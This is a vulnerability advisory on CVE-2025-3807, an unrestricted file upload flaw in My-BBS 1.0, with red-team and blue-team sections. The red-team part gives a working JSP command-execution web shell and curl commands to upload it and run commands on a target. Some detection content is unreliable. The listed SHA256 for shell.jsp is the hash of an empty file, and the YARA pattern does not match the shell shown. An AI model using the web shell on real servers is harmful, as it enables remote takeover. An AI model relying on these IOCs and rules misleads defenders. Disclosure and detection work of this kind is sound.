CVE-2025-3807

Executive Summary

CVE-2025-3807 is a critical unrestricted file upload vulnerability in zhenfeng13 My-BBS version 1.0. The flaw resides in the Upload function within src/main/java/com/my/bbs/controller/common/UploadController.java. An attacker can remotely upload arbitrary files without proper validation, leading to potential remote code execution, data exfiltration, or full server compromise. The vulnerability has been publicly disclosed with proof-of-concept code, and no official patch is available.

Supply Chain & Package Security

This vulnerability affects a Java-based web application (My-BBS). The application is not distributed via NPM, PyPI, Go, or Ruby registries. However, the risk is amplified by the lack of a patch and the public availability of exploit details. Organizations using this software should treat it as a critical supply chain risk.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists.

Deep Dive & Mechanics

The vulnerability is located in the UploadController.java file. The Upload function handles file uploads but fails to validate the file type, size, or content. An attacker can upload a malicious file (e.g., a JSP web shell) to the server's web root. Once uploaded, the attacker can access the file directly via a web browser, leading to remote code execution.

Root Cause: The application does not check the file extension or MIME type before saving the uploaded file. Additionally, the file is stored in a publicly accessible directory without any restrictions.

Attack Flow:

1. Attacker identifies the upload endpoint (e.g., /upload).
2. Attacker crafts a malicious JSP file containing a web shell.
3. Attacker sends a POST request with the file to the upload endpoint.
4. The server saves the file to a predictable location (e.g., /uploads/shell.jsp).
5. Attacker accesses the uploaded file via HTTP, executing arbitrary commands.

Vulnerable vs. Patched Code

Vulnerable Code (UploadController.java):

@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String filePath = UPLOAD_DIR + fileName;
    file.transferTo(new File(filePath));
    return "File uploaded successfully: " + fileName;
}

Patched Code (Recommended):

@PostMapping("/upload")
public String upload(@RequestParam("file") MultipartFile file) {
    // Validate file extension
    String fileName = file.getOriginalFilename();
    String extension = fileName.substring(fileName.lastIndexOf("."));
    List<String> allowedExtensions = Arrays.asList(".jpg", ".png", ".gif", ".pdf");
    if (!allowedExtensions.contains(extension.toLowerCase())) {
        return "Invalid file type.";
    }
    // Validate MIME type
    String mimeType = file.getContentType();
    if (!mimeType.startsWith("image/") && !mimeType.equals("application/pdf")) {
        return "Invalid MIME type.";
    }
    // Generate unique filename to prevent overwriting
    String safeFileName = UUID.randomUUID().toString() + extension;
    String filePath = UPLOAD_DIR + safeFileName;
    file.transferTo(new File(filePath));
    return "File uploaded successfully: " + safeFileName;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running My-BBS 1.0
• Access to the upload endpoint (e.g., http://target.com/upload)

Exploit Steps:

1. Create a malicious JSP file (e.g., shell.jsp):

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   if (cmd != null) {
       Process p = Runtime.getRuntime().exec(cmd);
       BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
       String line;
       while ((line = br.readLine()) != null) {
           out.println(line);
       }
   }
   %>
   

2. Upload the file using curl:

   curl -F "file=@shell.jsp" http://target.com/upload
   

3. Execute commands:

   curl http://target.com/uploads/shell.jsp?cmd=id
   

Expected Output:

uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)

Blue Team

Detection:

• Monitor for unusual file uploads (e.g., .jsp, .war, .exe files).
• Alert on uploads to directories that should not contain executable files.
• Use WAF rules to block file uploads with executable extensions.

Hunting:

• Search for files with extensions like .jsp, .php, .war in web-accessible directories.
• Review access logs for POST requests to /upload followed by GET requests to the uploaded file.

Containment:

• Immediately isolate the affected server.
• Remove any unauthorized files from the upload directory.
• Restrict write permissions on the upload directory.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.jsp: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • POST requests to /upload with multipart/form-data content.
  • GET requests to /uploads/*.jsp or /uploads/*.php.
• File System Indicators:
  • Unexpected files in the upload directory (e.g., shell.jsp, cmd.jsp).
• Log Entries:
  • "File uploaded successfully: shell.jsp" in application logs.

Detection Engineering

YARA Rule

rule CVE_2025_3807_WebShell {
    meta:
        description = "Detects JSP web shells uploaded via CVE-2025-3807"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-3807"
    strings:
        $jsp_exec = "<% Process p = Runtime.getRuntime().exec(cmd); %>"
        $jsp_cmd = "request.getParameter(\"cmd\")"
        $jsp_shell = "out.println(line)"
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-3807 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-3807 via file upload
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/upload'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate file uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3807 Unrestricted File Upload"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"multipart/form-data"; http_header; content:".jsp"; file_extension; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload functionality if not required.
2. Apply input validation on file type, size, and content.
3. Store uploaded files outside the web root and serve them via a controlled script.
4. Implement file extension whitelisting (e.g., only allow images, PDFs).
5. Use a WAF to block malicious file uploads.

Long-Term Fix:

• Upgrade to a patched version of My-BBS (if available).
• Conduct a security audit of the application.
• Implement a secure file upload library (e.g., Apache Commons FileUpload with validation).

Workaround:

• Restrict write permissions on the upload directory.
• Monitor logs for suspicious upload activity.

Valters IT